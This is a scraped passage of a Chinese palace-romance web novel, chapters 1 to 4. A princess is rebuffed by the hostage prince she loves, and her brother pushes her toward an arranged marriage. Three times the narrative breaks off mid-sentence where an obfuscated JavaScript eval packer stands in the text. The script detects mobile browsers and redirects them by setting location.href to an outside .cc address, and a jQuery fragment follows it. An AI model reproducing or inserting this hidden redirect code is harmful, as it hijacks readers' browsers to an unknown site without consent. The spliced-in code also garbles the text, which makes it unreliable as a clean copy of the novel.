《灼娇》 1. 第 1 章 凛冽寒风吹了一宿,吹折了窗边一棵海棠。 垂下来的枯枝,随着冷风肆虐的节奏一下一下打在窗棂上,发出有节奏的“哒哒”声,听起来有些诡异。 姜稚月犯愁地瞧着屋外,小脸中满是担忧: “也不知执玉哥哥路上可曾顺利。” 二公主姜宜宁视线跟着往窗外一扫,低声道: “阿月,有些话其实阿姐本不该说的这么直白——” 姜宜宁将小姑娘脸上一缕沾在唇上的发丝挽至耳后: “这些年你追在宋砚辞身后,他若亦有心于你,你们早就成了一段佳话……如今他身边又有个姚盈初,你当真还要在他身上耗下去么……” 她抿了抿唇,不知该怎么接着说下去。 ——其实别说是佳话,自己金尊玉贵的妹妹、父皇和太子自小娇宠到大的昭华公主,成日里纡尊降贵去讨好一个别国质子。 这些年早就成了京城里一段上不得台面的笑话。 阿月还有几个月就该及笄,她知道太子和父皇明里暗里都在帮她择婿,只是自己这个妹妹因为宋砚辞一直不肯答应。 姜宜宁视线顺着看到姜稚月身上。 见她忍着微微发红的眼眶,低头沉默不语的样子,姜宜宁轻叹一声,将那小肩膀拢至怀中轻拍: “罢了,不说了,你若当真割舍不下,倒不如改日二姐进宫去求了父皇为你二人下一道赐婚圣旨,左右他不过是一介质子,他就是再喜欢姚盈初,有了圣旨也不得不与你成亲……” “不可!” 姜宜宁话还未说完,姜稚月急忙从她怀里钻出来,急道: “二姐不可!执玉哥哥虽温良却也骄傲,若是硬用圣旨圈住他,只怕……只怕我与他便真成了一对怨偶……” 姜稚月越说声音越小,最后干脆抿了抿唇不说话了。 姜宜宁静静盯着她瓷玉一般的小脸,半晌,刮了刮她泛红的小鼻尖,无声叹了口气,语重心长道: “你自己也别太为这些事而伤怀,你有哮喘之症,虽说服了药已无碍,平日里自己还是要多注意着些。” 姜稚月眼眶发热,忙不迭点头,软声道: “我知道的,二姐……” 正说着,房门被人打开,来人是一身官袍的二姐夫梁邵。 姜稚月见他回来,不便多留,又跟姜宜宁说了几句,便道了别。 马车辘辘驶离公主府的临安巷,马蹄踩在青石板路上,发出令人心烦的哒哒声。 丫鬟锦葵往姜稚月手中塞了个汤婆子,见她掀帘瞥向窗外,眼神没个聚集的模样,不禁担忧道: “公主还在想方才二公主的话么?” 见她不言,锦葵又叹了口气,兀自絮叨: “驸马爷体贴周到,事事以二公主为先,真叫人艳羡,公主若是能得这样一位驸马就好了。” 京中暗暗恋慕公主的郎君不说数十也有十数,但凡公主肯多看他们一眼,他们都愿意鞍前马后好不殷勤,总比那宋三皇子熨帖得多。 姜稚月小脸微皱,叹了口气: “可我……” 话未说完,她猛地瞪大眼睛看向窗外某处,着急地反手抓着锦葵的袖子晃: “锦葵锦葵!快让车夫停车!” 锦葵吓了一跳,以为是出了什么了不得的事情,忙扭头打帘吩咐出去。 马车还未在路边停稳,姜稚月便已等不及地钻出车厢,提着裙摆跳了下去,匆匆跑进了旁边的琳琅斋里。 她边朝楼梯走去,边问: “三殿下人呢?” 琳琅斋卖的都是价值连城的宝物,迎来送往皆是贵客,掌柜的自是知道眼前这位的身份,也知她口中那位三殿下并非本朝三殿下,而是那位宋三皇子。 掌柜的跟在步伐匆匆的公主身后,不敢隐瞒: “方才坐着乘梯去了二楼,定的还是平日里那间‘听雨’,只是……” “知道了,你下去吧。” 姜稚月不及掌柜将话说完,挥了挥手匆匆将人打发了。 欢快轻巧的“咚咚”声沿着楼梯轻响。 姜稚月像是一只欢腾的小雀儿,浑身上下都透着遮掩不住的喜悦。 及至风风火火走到二楼走廊尽头,才堪堪收住脚步。 她在房门前站定。 缓慢悠长地舒了口气,理了理鬓发和衣裙,半晌,等到心跳终于没那么剧烈了,纤细如玉的手指才缓缓搭上厚重的红漆雕花木门…… 包间不大,但胜在素雅。 一进门便有一股冷冽的雪松香扑鼻而来。 入眼是一张金丝楠木屏风,屏风的紫云丝绸上绣着仙鹤图案,翩跹起舞的仙鹤昂首屹立于莲间,栩栩如生。 绕过屏风,姜稚月一眼就被坐于窗边轮椅上、隔窗远眺的男人吸去了所有目光。 半开的窗牖间,清冷日光落在宋砚辞那张清逸雅致的面容上,周遭的一切,瞬间变得黯淡无光。 即便两人已相识近十载,可每次面对他时,姜稚月依旧会因他出挑的容貌而心跳加速。 他就像是岭上雪,云边月,是京中诸多少女可望不可即的春闺梦。 宋砚辞今日穿了一身干净雅致的月白色长衫,腿上盖了条水青色薄毯。 如绸缎般的墨发用银簪冠起,鼻梁高挺,唇色淡红,右眼角下一颗眼红泪痣为他原本偏冷的面容平添了几分妖娆。 许是常年腿疾的缘故,男人面色中透着些微病态的白,却依旧难掩他芝兰玉树、气度斐然的姿容。 听到声音回看过来时,深邃眼眸似落入了一整片星河,带着浅浅温润笑意。 姜稚月不自觉绷紧了呼吸。 他的眉目总是如此。 明明清清白白,但却让姜稚月每每感觉他的目光落在她身上时,又都透着一种漫不经心的深情。 宋砚辞的视线在看到屏风旁的姜稚月时,微微顿了一下,很快便又恢复如初。 泠泠寒风里,姜稚月听见宋砚辞含笑的嗓音,像是被窗外的风雪覆上了淡淡哑意: “你来了。” 就好似他专门在此处等着她一般。 这短短三个字,让姜稚月今日本就因二姐那几句话而产生的窒闷情绪更加泛滥。 窗边的寒风一吹,不知怎的,她心里就漫上无尽的酸楚和委屈,眼眶也跟着微微发热。 姜稚月慌忙低头眯了眯眼,重新抬头的时候,好看的眼眸中便只剩了明媚笑意。 她走至窗边,探出小半截儿身子拿下撑窗的叉竿,将他推至暖炉旁边,这才笑道: “这大冷的天,还将窗开这么大不怕着凉,执玉哥哥几时回来的?” 宋砚辞笑应: “昨日刚回京。” 姜稚月“唔”了一声,俏生生的小脸上一双眼睛泛着掩也掩不住的明艳,却故意娇愠: “既是昨日便回来了,为何执玉哥哥也不曾派人同我知会一声,这一路可还顺利,你的腿怎么样了?” 宋砚辞含笑:“尚可。” “姚姑娘寻的那真迹可找到了?你……” 少女的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279251|166760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戛然而止,她绕过轮椅,坐在宋砚辞面前直视着他的眼睛,犹豫再三,才攥紧掌心小心开了口: “你可是专门赶回来,为我庆生的?” 这句话她说得极慢。 男人眼睫微不可察地轻颤了一下,没有立刻回答,只是复又低头去摆弄红泥小炉上的提梁壶。 方才那欢快的气氛,随着他不断拉长的沉默冷却了下来。 姜稚月的目光紧追着他的动作,朝他修长如玉的手上看了片刻,然后又重新紧盯他的眼睛。 炉中火光在他削薄的眼皮上映出淡淡的暖色光晕,将男人冷白眼皮上原本覆着的几条青色脉络照得模糊了界限。 纤密睫毛的阴影落在他的琥珀色瞳孔里。 她仔细看了许久,也未能看清他眼中的分毫情绪,就像石沉大海一般。 宋砚辞舀了勺水,水流从低到高落入提梁壶中,发出从沉闷到清亮的声音。 有细小而冰凉的水珠溅在手背上。 姜稚月的手突地一颤,心也随着那渐渐高扬的水声而高高提了起来。 终于,水声止了。 宋砚辞放下长柄木勺,用干净的棉帕不紧不慢擦干手上水渍,抬起头视线落在她泛着细碎汗珠的小鼻尖上,眼尾下压,笑意温良: “是因为盈初水土不服,便提前回来了。” 他将手放在自己膝盖上,缓慢摩挲了一下,唇角弯起,“不过也恰好赶上公主芳辰。” 姜稚月眼底的亮光随着他的话音落下,渐渐熄灭。 她看向那只放在膝头摩挲的手。 这个动作,她总见着他做。 打从他伤了双腿从此只能在轮椅上度日后,他就总是这样,说不清是太过在意还是只是习惯使然。 他从前也不叫她公主,而是和宋知凌一起,唤她阿月。 姜稚月心中原本生出的那点诘问的勇气,在看到他这个动作的时候全都偃旗息鼓。 她紧抿着唇,自己将那丝丝缕缕的委屈和失望咽下,扯了扯僵硬的唇角,笑道: “是吗?那真是太巧了,执玉哥哥的腿……待到明日,我再让韩云来给你诊一次脉。” 宋砚辞依旧是那副清冷而温和的模样,闻言蹙了蹙眉,淡声拒绝: “谢过公主好意,不过盈初本就擅长岐黄之术,去端州这些时日一直都是由她在替我料理,我正想寻机会同公主说,日后便不劳烦你的人了。” 宋砚辞说话时眼神认真盯着她,眼中流淌的星河璀璨夺目。 可只有姜稚月知道,这幅好看而温情的皮囊下是怎样不可触及的冰冷灵魂。 像极了去年冬天她不小心丢在雪地上,又在第二日清晨找到的那块儿羊脂玉,躺在雪地上时莹润晶透,触手的一瞬间,却冷到砭骨。 姜稚月捏着发颤的指尖,喉咙如同梗了一团沾了醋水的棉花,又酸又涩。 她竭力压住自己胸腔里的涩意,笑道: “不麻烦的,执玉哥哥的腿本就是为了救我……” “公主不必再提。” “可执玉哥哥的腿……” “公主。” 宋砚辞突然沉声打断了她。 他盯着她,好看的眉眼间闪过一抹不耐: “我的腿如何伤的,今后莫要再提,从前劳烦你的人替我看诊已久,今后不需要了,还有——” 他别过视线,盯着桌上袅袅升起的青烟,神情近乎厌倦道: “公主可否不要将你心悦于我之事挂在嘴边,这些年来闹得满城风雨,还不够么?” 2. 第 2 章 宋砚辞的语气分外温和,但说出的话却十分决绝。 说完后,他兀自拿起茶杯,饮了一口,神色中隐隐透着疏离。 气氛突然沉默了下来。 姜稚月心口像是被堵了棉絮一样发酸,盯着他看了许久,到底没忍住,一字一顿颤着嗓音问出了口: “我关心你的腿,在你眼中,便只是劳烦么?我喜欢你这件事,在你看来也全是负累?!” 她的喜欢就这么廉价。 从前自己为他做过的种种,今日二姐姐的那番话,轮番在脑中跑马灯一般浮现,让姜稚月的心上不自觉泛起密密麻麻的疼。 好似有了前面那句话,之前所有的委屈便都像是被撕开了口子,如浪潮般争先恐后涌了出来。 她的眼圈一瞬间就泛了红。 “宋砚辞,你就非要这样么?” 原本想着两个多月未见,再度见面,姜稚月以为他会问些可曾安好这样的话,或者问问,那次让她险些去了半条命的风寒可好全了。 可他一见她,便急于与她撇清关系,除了见面时那句“你来了”,往后几句,句句不离姚盈初。 不知从何时起,两人的关系便变成了现在这样。 姜稚月胸膛起伏,攥紧衣摆瞪着眼睛看他,竭力不让眼底的水雾漫上来,维系着最后一点破碎不堪的体面。 然而对面之人闻言,却也仅仅只是低头沉默了一瞬,然后斟了杯茶,抬手递到姜稚月面前: “这茶是我在端州无意间发现的,颇有安神养颜之效,公主尝尝看,若是喜欢,待会儿让人带些回宫。” 云淡风轻的语气和清冷的神色,让他看起来像是一尊好看又冷冰冰的佛像,居高临下睥睨她的失态。 姜稚月觉得她这一刻,内心里的歇斯底里仿佛成了一场不折不扣的笑话。 也或许她早就是一场笑话,阿姐那句没说完的话,她又怎能不懂。 “吧嗒”一声,积蓄在眼眶中的泪到底没忍住,随着鼻尖极致的酸楚而滚落。 小小的水洼落在她鹅黄色裙摆上,泅出一个圆圆的深色水痕。 宋砚辞手里端着的茶水,原本平静的水面也像是落入了什么一般,微微晃了晃。 他下意识将另一只手放在膝盖上,手背青筋鼓了鼓。 盯着小姑娘抽动的肩膀沉默半晌,宋砚辞眉峰微不可察地轻轻皱起,喉结滚动: “公……” “执玉哥哥若是非要如此与我划清关系,那我怎能不懂事再痴缠,你在此处想必有要事,我便不多打扰了,告辞。” 姜稚月不等他说完,气恼地出声打断了他的话。 她起身的动作太突然,宋砚辞原本递过去的茶杯被她忽然带翻,清透的茶汤漾了他一手一身。 姜稚月脚步一顿,欲言又止地看了他半天,最后终是撂下一句“我去唤小二来收拾”,便匆匆往外走去。 她一路上心绪不宁,拉开门扇后连门口站着的女子都未看到,直接撞了上去。 “呀!” 姜稚月被撞得后退了一步才站住,扶额看向来人,一时间,神色要多复杂有多复杂。 “公主。” 对面的姚盈初最先反应过来,屈膝行了礼。 姜稚月不自在地垂下眼眸眨了眨眼,逼退眼底湿意,视线落在姚盈初手中拿着的那张靛蓝色薄毯上时微微一顿。 她认得这毯子,是宋砚辞时常盖在腿上的那张。 她自嘲般弯了弯唇角: “你来得正好,他的毯子湿了,恰好换上。” 说罢,不等姚盈初再说什么,绕过她离开了房间。 姚盈初站在门口,盯着公主那匆匆忙忙的背影看了半天,这才关上门,绕过屏风走了进去。 屋中的男人似是没察觉到她的到来一般,手中依然攥着那只已然洒光了茶水的茶杯,神色不明地盯着红泥小炉,浑然不觉手中和身上的湿漉。 房间里气氛凝滞而安静,只有提梁壶中咕噜噜的声音吵得人莫名心烦意乱。 滚水外溢,一下一下浇在火焰上,火苗蹿得更加剧烈。 一丛一丛的火光跳跃在男人幽沉眼底,将他的五官切割得更为晦涩。 姚盈初轻声走过去,将提梁壶从红泥小炉上拿下来,递过去一张帕子。 宋砚辞眼皮动了下,抬眸看了她一眼,接过来擦手,“她走了?” “走了。” 姚盈初替他将腿上的毯子换了: “只是我不明白,明明是你特意寻了好久才为公主寻到的药茶,为何不肯告诉她。” 宋砚辞自己为自己斟了杯茶,却只放在鼻尖嗅了嗅。 姚盈初道: “你的腿未必恢复不了,若是公主当真心悦于你,娶了公主,对我们的事大有裨益。” 宋砚辞淡淡抬眸看了她一眼,“你今日话是否多了些?” 他那一眼带着骇人的冷意,分明容色还是那般温润,眼神却像能致人于死地。 “我警告过你,不要打她的注意。” 姚盈初沉默不语。 她初初来到这个男人身边的时候,也以为他只是如外人所说的那般,澹然、温和、又因常年坐轮椅而羸弱。 直到某次,她亲眼看到他在垂钓时,仅用一根鱼线,眼都不眨便杀死了两个武功高强的死士后,便再不敢轻易小瞧他半分。 正想着,就听对面男人手指在轮椅扶手上点了点,语气又恢复了一贯的温和: “说说吧,他都让你给我带了什么话。” - 姜稚月气鼓鼓地回了宫,连皇帝的乾清宫都没去,便径直回了自己的璋华殿。 趴在床上越想越觉得委屈,忍不住又掉了几滴泪。 及至晚膳的时间,宫人急匆匆来报,说是太子殿下正往此处过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279252|166760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜稚月把被子往头上一蒙,烦躁地在床上滚了两滚,闷着被子嚷嚷: “去回禀兄长,就说我睡下了,谁都不见!” “怎的今日出去见了一趟你二姐,回来连孤都不见了?” 姜稚月话音刚落,感觉身旁床榻微一下陷,被她死死蒙在头上的被子便被人轻轻松松拿了下来。 入目便是太子那双同自己有几分相像的眼睛,瞧出那双眸中含笑的揶揄,姜稚月鼓了鼓嘴: “你明知故问!” 太子弯了弯唇,轻拍她的背: “起来,吃些东西,孤有话同你说。” 姜稚月有些吃不下,被太子命锦葵和朱砂两人强拖着带到桌边。 两个丫鬟一左一右站在两侧,姜稚月左右看了看,重叹一声,捧起一个粉玉小碗,勺子在里面捞啊捞,捞上来一个圆嘟嘟软糯糯的汤圆。 她和汤圆大眼瞪小眼了半天,又唉了声,把汤圆放回碗里。 “再叹气就变丑了。” 太子瞥了眼她的动作: “把这碗汤圆吃了,上次你在孤书房看上的那个砚台,孤明日让人送来。” 姜稚月闻言身子微微直起来,两眼放光看着他,可随即又瘪了瘪嘴,塌着身子坐了回去。 “算了,不要了。” 那方砚台本来是想讨来送给宋砚辞的,现在也不想给了。 她用勺子戳了戳碗里胖嘟嘟的汤圆,语气恹恹的: “哥哥不是说有话跟我说么?” 太子见她实在吃不下,便也不再勉强,跟着放了筷子,擦了擦手,将一旁一个册子递到她的面前。 “这是什么?” 姜稚月愣了一下,不等他答兀自拿起来翻了两页。 “啪”的一声,她将册子阖上重重放回桌上,又羞又气: “这次又是谁的主意?哥哥的,还是阿爹的?” 她像是一只被碰了尾巴的小猫,气得小脸都微微泛了红,水滟滟的双眸中透着娇愠,颊边的海棠耳坠跟着轻轻晃了几下。 太子笑着轻拍了拍她的脑袋: “没说让你立刻就做出选择,父皇的意思是让你先看着。” 太子在旁人眼中清冷自持,威仪端方,但偏偏最是宠溺这个妹妹,温声劝慰道: “宋执玉一表人才,渊渟岳峙,与你又有救命之恩和青梅竹马之宜,然你二人到底有缘无份,有些事情你二姐应当同你说过许多,如今你马上及笄,也该为自己早做打算。” 姜稚月垂眸,手指在桌布下的流苏上绕啊绕,眼睫飞快颤动着。 见她不语,太子轻叹一声: “册子里都是各大世家年轻辈的翘楚,有一些与你还十分相熟,你先瞧瞧,没准儿就有看得上眼的呢。” 姜稚月抿了抿唇,泄气般长长叹了口气,重新将桌上那本择婿的册子拿起来,温温吞吞道: “知道了。” 3. 第 3 章 打从那日太子来过后,第二日咸德帝就派人送来了一个教习嬷嬷。 姜稚月当然知道,这些是为她生辰后择婿嫁人做准备的。 在她第三次捏着绣花针发呆的时候,石嬷嬷终是忍不住轻咳了一声,声音带着威仪问: “公主三番两次精力不集中,可是身子不适?可需要老奴回禀陛下,为公主安排御医?” 姜稚月慌忙从窗外的梅花枝头收回视线,讪讪垂眸: “不必了,嬷嬷请继续。” 这石嬷嬷是从前皇太后身边的人,宫中女官女使的规矩皆是由她与其余几位嬷嬷共同管教,也曾教导过文颐长公主,因此在宫中颇具威望。 她见姜稚月实在心不在焉,又恐绣花针伤了公主玉体,便道: “公主今日女红便习到此处……” 姜稚月昨夜本就没睡好,一大早又被拉起来,此刻正是头昏脑胀得不行,听石嬷嬷这话,唇角不禁扬起一个弧度。 然而还未来得及高兴,便又听石嬷嬷说: “待公主稍事休息后,咱们来学一些内宅之道。” 姜稚月的笑意顿时僵在唇边,嘴角抽了一下,小声撒娇道: “嬷嬷……今日可不可以先休息半日。” 她这番话,自然得到的是石嬷嬷一个充满慈爱的眼神,和无情的拒绝。 姜稚月:“……” 后面的课开始后不久,她就撑着手臂听得昏昏欲睡。 石嬷嬷的声音有一句没一句地飘进耳朵,姜稚月越听越不对劲儿,越听眉头皱得越深。 最后突然抬起头,脸颊红扑扑地望向石嬷嬷。 石嬷嬷话音一顿,“公主可是有什么疑惑?” 有什么疑惑? 疑惑大着呢! 她不是父皇派来给自己讲授内宅礼仪规矩的么? 况且石嬷嬷方才也说了,是什么内宅之道,姜稚月原以为不过是学一些德容言功之类的,可她方才在讲什么? 如何平衡驸马与面首之间的关系? 若遇男人争风吃醋该怎么做? 甚至……在她抬头的前一句,石嬷嬷甚至说到了床笫间由几人伺候最为舒//爽?! 虽说她生辰宴后便可嫁人,早通人事也不是不可。 可这、这也太惊世骇俗了些。 “……石、石嬷嬷——” 姜稚月脸上火烧火燎,心中的震惊久久不能平静,一项伶牙俐齿的她更是连说话都说不利索了: “石嬷嬷这些……” 石嬷嬷知她心中所想,笑道: “自是陛下和太子殿下的吩咐,老奴可不敢擅自做主,不过……这些内容却是老奴潜心钻研多年所创作的压箱底之作,从前也只教导过文颐公主一人。” “……” 这下姜稚月算是彻底明白,她那亲姑姑的荒唐行径是怎么来的了。 她有些一言难尽地看了眼眼前形容举止一丝不苟的老嬷嬷,艰难地张了张嘴,才找回声音: “可是、可是从前学《女戒》时,老师所教与嬷嬷所教……大相径庭。” 岂止是大相径庭,简直是将她从前所学全部推翻,再踩上个稀巴烂。 石嬷嬷笑道: “旁的女子成婚后自然是要以夫为纲,孝敬公婆、相夫教子,但公主同旁人身份不同,公主金尊玉贵,自然是只有旁人来伺候您的份儿。” 姜稚月蹙了蹙眉,渐渐在她这话中听出了不对劲儿。 果不其然,石嬷嬷便又意有所指地说起了昨夜太子给她拿来那本册子之事。 “比如京中那些个品貌才情皆是一等一的儿郎们,也只能等着求公主垂青,便是能被写进册子里供公主挑选,都已荣幸之至,都说娶妻娶贤,纳妾纳色,公主招驸马亦是同样的道理。” “公主若是真心喜欢宋三皇子,将来成了婚,大可以将他招做入幕之宾,露水情缘、春风暗渡,每次都有新鲜之感,又不必被责任所牵累。” 石嬷嬷笑得慈祥,口中说出的话却惊世骇俗: “如此两全之法,公主又何苦将芳心独系一人身上?” “……” 姜稚月红唇微张,表情一言难尽。 石嬷嬷的话就像是一块儿巨石砸入了姜稚月的心湖中,惊起滔天巨浪。 以至于她在白日里一直魂不守舍,到了夜里也是辗转到后半夜都还没有睡意。 其实她此前去儋州文颐长公主府中小住时,是见识过姑母的行径的。 尤其是姑母的驸马死后,姑母行事便愈发荒诞不羁,偏偏咸德帝纵着这个妹妹,三不五时送些美男过去,朝中便无人胆敢妄议一二。 可姜稚月见虽见过,但因她自情窦初开起便满心满眼只有宋砚辞,从未想过再同旁的人有牵扯。 从前她尚觉得,自己靠着与他青梅竹马的情谊,总比旁人在他心中特殊些。 然而自从姚盈初出现以后,她就觉得自己与他越来越远。 姜稚月一想到那日琳琅斋,不免心中憋闷。 她还以为他是去琳琅斋挑选给自己的生辰礼去了,却不想是同姚盈初约会。 那两人在去端州这两个多月还未待够么? 才回来一日就迫不及待再次幽会。 姜稚月气得胸口疼,一个翻身从床上爬起来,瞅了眼不远处桌上那本册子,鼓了鼓嘴,下床去拿了过来。 不得不说,册子上的公子哥儿们确实是京中顶顶好的郎君,文韬武略不在话下,许多名字姜稚月也十分熟悉,都是未来新一代的世家家主和朝廷肱骨。 姜稚月也欣赏他们,可有了宋砚辞珠玉在前,其余人在她眼中便不值一提了。 她烦躁地翻了会儿,忽然不知从哪儿窜出一阵冷风,姜稚月没忍住打了个喷嚏。 紧接着“吱呀”一声门响,锦葵踩着极轻的步伐走了进来。 “公主当心身体。” “你怎么还没睡?”姜稚月拢住锦葵替她披上的披风,吸了吸鼻子,“外面落雪了?” “奴婢刚歇下,见公主点了灯便候着了。” 锦葵过去给暖炉中加了几块儿炭: “今儿个夜里变了天,本都入了春的天气忽然下起了鹅毛大雪,公主去岁那场病后身子弱,更应注意自己的身子才是。” 锦葵絮叨的语气里明显对她起床不加衣这件事有些生气。 但姜稚月却无暇顾及,只隔着绢丝纱窗往外瞧了一眼,垂眸沉思半晌,吩咐道: “你明日一早去寻一下韩云,让他备好东西,随我出一趟宫。” 锦葵倒热茶的动作一顿: “公主这是……要去雪竹苑为三皇子看腿么?” 姜稚月手捧茶杯,盯着氤氲而上的热气,轻轻颔首,眉眼中是掩不住的担忧。 她知道,自从宋砚辞的腿为了保护她而摔断后,每每落雪落雨或者变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279253|166760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天的时候都会蚀骨钻心的疼。 姜稚月叹了口气,自欺欺人地想,虽说宋砚辞白日明确拒绝了她,但她终归是要让韩云再去看看,就当是为报当初的救命之恩了。 为了躲开石嬷嬷,第二日天不亮,姜稚月就带着朱砂和韩云悄悄出了璋华殿,恰好赶在太子上朝前在东宫外拦住了他。 太子一身明黄蟒袍,严肃威仪地瞧着她,姜稚月忽然说话就没了底气。 “据孤所知,宋三如今的腿是由姚盈初负责,你带韩云去有什么用?” 姜稚月鼓了鼓嘴,小声辩解: “可此前的药方和调理方法,韩云还未来得及与她交接……” “不准。” 太子直接拒绝,“什么时候从孤给你的册子里挑中了驸马,什么时候才能出宫。” “哥哥!” 姜稚月一听急了,也顾不得此刻正在东宫外,上前就想扯太子的蟒袍,却被太子身边的李福安拦住了。 李福安笑道: “公主,殿下上朝要迟了,公主还是请回吧,您瞧,这么多人呢……” 姜稚月脚步一顿,瞧了眼太子的背影,又往四周看了看,小脸上好看的眉深深皱起。 半晌,不情不愿地嘁了一声,泄气般耷拉着脑袋,慢吞吞转身。 朱砂撑伞走在她侧后方,看着自家主子这幅模样,心疼地正要出声劝慰,忽听身后一阵急促的脚步声踩雪而来。 主仆二人循声回头,见是太子身旁的女使。 “公主留步。” 那女使靠近,笑道: “太子殿下让奴婢同公主说,他五日前在文昌楼定下了两套《山海经注》,因是贵重孤品,殿下劳烦公主替他亲自去取回来,但取回后,需公主替殿下重新再腾挪抄录一份。” 姜稚月闻言,还有什么不明白的,心下欢喜不已,语气都轻快了不少: “别说抄录一遍,抄录十遍都行!谢过女官……” 话音刚落,她瞧了眼太子的背影,忽然像是想起什么一般,提起裙摆匆匆追了过去。 太子听见脚步声,故意放慢步子。 待到姜稚月追上,他也停了下来,转身负手看着她。 姜稚月对他露出一个自以为十分灿烂且谄媚的笑脸,太子忍俊不禁: “感谢的话就免了,只此一次下不为例。” 姜稚月睁着一双真挚的大眼睛,点头如捣蒜,末了,又凑过去,神秘兮兮问道: “我今日出宫,哥哥就没有什么要让我带的么?比如……薛姐姐那里……” 果然,这话一出,太子原本严肃的神情忽然出现了一丝不易察觉的裂痕。 他握拳轻咳一声,淡淡对李福安道: “孤桌上有个紫檀木描金木匣,你去取来给公主。” 姜稚月凑过去嘻嘻一笑: “我能看看是什么么?” 太子乜了她一眼,语气冷然: “你若再多说一句,孤自可让旁人去取那两本书册。” 姜稚月闻言猛地将双手捂在嘴上,慌忙摇了摇头,本就圆溜溜的眼睛显得更大了,一副无辜的模样。 太子替她将摇头时钩在鬓发上的红宝石步摇流苏取下,点了下她的额,笑道: “去吧,孤戌时派人去接你,倘若——这次宋砚辞拒绝,下次你就安安分分待在宫中择婿。” 姜稚月神情一滞,闷闷地点了点头。 4. 第 4 章 雪落无声,鹅毛一般洋洋洒洒飘落。 许是落雪的缘故,路两边的商家开门的不多,即便是有开门的,也门可罗雀,安静得很。 青石板路上压出两条明显的车辙印,马蹄踩在雪上发出沉闷的响。 姜稚月先去了文昌楼替太子将那两本《山海经注》取了,又绕道去梧桐巷的薛府。 薛家大姑娘早得了信儿,拢着素白色大氅带着两个丫鬟候在府门口。 马车刚一停稳,姜稚月便急不可耐地跳了下去,火红色的披风映着白雪划出一道弧度。 “这天寒地冻的,薛姐姐怎也不在屋里候着。” “公主当心。” 薛凝笑着去扶她,之后行了一礼。 “臣女见过公主,公主远道而来,臣女自是该迎的,只可惜家母前几日染了风寒未能下床,故而不能前来迎接。” 姜稚月同这位未来嫂嫂十分投缘,不等她说完就亲昵地挽住了她的胳膊,笑道: “薛姐姐见外了不是,薛夫人的病好些了么?我带了韩云出来,要让他替夫人看看么?” 薛凝扶着她上了台阶,语气温温柔柔的: “谢过公主,不过前两日太子派人带了张御医来看过了,又送了不少名贵药材,母亲如今好多了,将养将养便可康复,母亲特意叮嘱恐过了病气给公主,不可叨扰公主。” “不过母亲命下人备了些公主喜欢的梅花酿,公主走时带上。” “薛夫人有心了。” 姜稚月见她说话时,眼神不住往她手中瞅,心中不禁觉得好笑,故意道: “不过原来兄长已经来过了呀,咦,那奇怪呢,想来这匣中之物是兄长说错了,应当不是给薛姐姐的吧……” “哎呀我的好公主!” 薛凝面颊微红,轻轻在她手臂上捏了下,见姜稚月不为所动,她抿了抿唇,哄道: “上次做的玫瑰露瞧着公主很是喜欢,臣女这两日再做些给公主送去可好?” 姜稚月伸出两根儿白皙的手指晃了晃,芙蓉般娇嫩的面容趁在洁白的雪色间明艳动人: “两罐。” 薛凝抿着唇忍俊不禁,“别说两罐,便是五罐十罐都成。” 姜稚月眉眼弯弯笑得像一只小狐狸,“那说好了!就要五罐!” - 在薛府敲了一笔竹杠之后,姜稚月心情好得不行。 又恰逢这几日在宫中待得憋闷,便在马车刚一驶进朱雀大街的时候,令车夫停了下来,自己下车带着众人慢悠悠朝雪竹苑走去。 实则她其实也是还未做好心理准备,打从上次与宋砚辞不欢而散后,这次不知该用什么情绪面对他。 姜稚月一边走着,一边心不在焉地想。 忽然身后一阵疾驰的马蹄声传来。 朱砂刚将她护着拉到路边,那马蹄声竟是在她身旁停了下来,一道惊喜的男声响起: “阿月?!” 姜稚月从朱砂身侧探出头来,见着马上之人,蹙眉瞪了一眼: “你就不能慢些?!你瞧我的新披风被你弄的!” 她气冲冲扯过披风一角,宋知凌这才发现她的披风被他马蹄溅起的泥水给弄脏了。 面前娇滴滴的小姑娘最是爱美,身上见不得一点儿脏,见她作势就要将披风脱下来,宋知凌急忙下马,将自己的大氅披在了她身上。 姜稚月皱了皱眉,却没拒绝。 男人身量长,大氅披在小姑娘身上险险拖了地,墨色绣金丝鹤纹的样式却衬得她面如芙蕖,十分娇艳。 宋知凌不自觉侧头盯着她多看了两眼。 “我还说谁家女郎这大雪的天在外面乱逛,仔细一瞧背影像你,还当自己看错了。” 他视线往身后韩云身上一扫,语气低了两分: “又去给我哥看腿?” “嗯……” 宋知凌的大氅有点长,姜稚月把下摆往起提了提,顺势低头,鞋尖踢了颗小石子: “听说他现在的腿姚盈初在照看,她今日……在么?” 宋知凌盯着她的侧颜,见那小扇子一般的羽睫扇得飞快,他手指曲了曲: 